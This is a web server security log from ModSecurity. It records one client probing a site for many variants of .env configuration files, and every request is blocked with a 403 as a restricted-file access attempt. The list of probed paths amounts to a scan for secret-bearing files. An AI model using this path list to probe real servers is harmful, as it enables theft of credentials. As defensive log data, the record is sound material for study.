[Sat Oct 24 17:15:34.867865 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at0f9rbQ4HMkj2Xm_OsaxAAAAAk"]
[Sat Oct 24 17:15:34.868160 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at0f9rbQ4HMkj2Xm_OsaxAAAAAk"]
[Sat Oct 24 17:15:35.054430 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at0f97bQ4HMkj2Xm_OsaxQAAAAk"]
[Sat Oct 24 17:15:35.054662 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at0f97bQ4HMkj2Xm_OsaxQAAAAk"]
[Sat Oct 24 17:15:35.055011 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at0f97bQ4HMkj2Xm_OsaxQAAAAk"]
[Sat Oct 24 17:15:35.231221 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at0f97bQ4HMkj2Xm_OsaxgAAAAk"]
[Sat Oct 24 17:15:35.231443 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at0f97bQ4HMkj2Xm_OsaxgAAAAk"]
[Sat Oct 24 17:15:35.231759 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at0f97bQ4HMkj2Xm_OsaxgAAAAk"]
[Sat Oct 24 17:15:35.409971 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at0f97bQ4HMkj2Xm_OsaxwAAAAk"]
[Sat Oct 24 17:15:35.410215 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at0f97bQ4HMkj2Xm_OsaxwAAAAk"]
[Sat Oct 24 17:15:35.410552 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at0f97bQ4HMkj2Xm_OsaxwAAAAk"]
[Sat Oct 24 17:15:35.593459 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at0f97bQ4HMkj2Xm_OsayAAAAAk"]
[Sat Oct 24 17:15:35.593695 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at0f97bQ4HMkj2Xm_OsayAAAAAk"]
[Sat Oct 24 17:15:35.594033 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at0f97bQ4HMkj2Xm_OsayAAAAAk"]
[Sat Oct 24 17:15:35.782449 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at0f97bQ4HMkj2Xm_OsayQAAAAk"]
[Sat Oct 24 17:15:35.782676 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at0f97bQ4HMkj2Xm_OsayQAAAAk"]
[Sat Oct 24 17:15:35.783012 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at0f97bQ4HMkj2Xm_OsayQAAAAk"]
[Sat Oct 24 17:15:35.965879 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at0f97bQ4HMkj2Xm_OsaygAAAAk"]
[Sat Oct 24 17:15:35.966095 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at0f97bQ4HMkj2Xm_OsaygAAAAk"]
[Sat Oct 24 17:15:35.966408 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at0f97bQ4HMkj2Xm_OsaygAAAAk"]
[Sat Oct 24 17:15:36.160022 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at0f-LbQ4HMkj2Xm_OsaywAAAAk"]
[Sat Oct 24 17:15:36.160271 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at0f-LbQ4HMkj2Xm_OsaywAAAAk"]
[Sat Oct 24 17:15:36.160687 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at0f-LbQ4HMkj2Xm_OsaywAAAAk"]
[Sat Oct 24 17:15:36.340324 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at0f-LbQ4HMkj2Xm_OsazAAAAAk"]
[Sat Oct 24 17:15:36.340612 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at0f-LbQ4HMkj2Xm_OsazAAAAAk"]
[Sat Oct 24 17:15:36.340980 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at0f-LbQ4HMkj2Xm_OsazAAAAAk"]
[Sat Oct 24 17:15:36.519789 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at0f-LbQ4HMkj2Xm_OsazQAAAAk"]
[Sat Oct 24 17:15:36.520066 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at0f-LbQ4HMkj2Xm_OsazQAAAAk"]
[Sat Oct 24 17:15:36.520466 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at0f-LbQ4HMkj2Xm_OsazQAAAAk"]
[Sat Oct 24 17:15:36.697604 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at0f-LbQ4HMkj2Xm_OsazgAAAAk"]
[Sat Oct 24 17:15:36.697866 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at0f-LbQ4HMkj2Xm_OsazgAAAAk"]
[Sat Oct 24 17:15:36.698198 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at0f-LbQ4HMkj2Xm_OsazgAAAAk"]
[Sat Oct 24 17:15:36.874483 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at0f-LbQ4HMkj2Xm_OsazwAAAAk"]
[Sat Oct 24 17:15:36.874760 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at0f-LbQ4HMkj2Xm_OsazwAAAAk"]
[Sat Oct 24 17:15:36.875169 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at0f-LbQ4HMkj2Xm_OsazwAAAAk"]
[Sat Oct 24 17:15:37.049949 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at0f-bbQ4HMkj2Xm_Osa0AAAAAk"]
[Sat Oct 24 17:15:37.050240 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at0f-bbQ4HMkj2Xm_Osa0AAAAAk"]
[Sat Oct 24 17:15:37.050661 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at0f-bbQ4HMkj2Xm_Osa0AAAAAk"]
[Sat Oct 24 17:15:37.228476 2026] [security2:error] [pid 2692917:tid 2692917] [client 34.18.168.5:42958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at0f-bbQ4HMkj2Xm_Osa0QAAAAk"]
